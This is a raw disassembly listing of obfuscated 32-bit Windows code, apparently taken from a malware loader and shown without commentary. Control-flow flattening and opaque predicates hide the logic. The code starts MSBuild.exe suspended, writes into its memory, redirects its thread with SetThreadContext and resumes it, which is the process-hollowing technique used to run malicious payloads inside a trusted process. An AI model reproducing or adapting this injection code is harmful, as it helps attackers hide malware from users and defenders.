cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe61d0c03
mov ecx, 0x1bfb9583
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
mov edx, eax
sub edx, 0x2b25d85f
sub edx, 1
add edx, 0x2b25d85f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xee84e27
mov ecx, 0x640e5ef2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dword [ebp - 0x110], 0x47689c85
jmp 0x100052cc
mov dword [ebp - 0x110], 0x1bbcdcb3
jmp 0x100052cc
mov eax, dword [ebp - 0x9c]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xf0]
mov byte [eax], cl
mov eax, dword [ebp - 0xec]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x110], 0xeb92068c
jmp 0x100052cc
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x110], 0x6c55ca88
jmp 0x100052cc
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x110], 0x2da6152
jmp 0x100052cc
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x110], 0xed7f9d85
jmp 0x100052cc
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x110], 0x5fd07ee3
jmp 0x100052cc
mov dword [ebp - 0x110], 0x4b2af975
jmp 0x100052cc
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0xe3b6198e
jmp 0x100052cc
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x110], 0x7052e7ad
jmp 0x100052cc
mov ax, word [ebp - 0x30]
mov dword [ebp - 0x110], 0xec788d7a
jmp 0x100052cc
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x110], 0x19f5e67e
jmp 0x100052cc
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x110], 0xd1457a9d
jmp 0x100052cc
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x110], 0xbf638451
jmp 0x100052cc
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x110], 0x1bfb9583
jmp 0x100052cc
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x110], 0x4fa2f0b6
jmp 0x100052cc
jmp 0x1000254f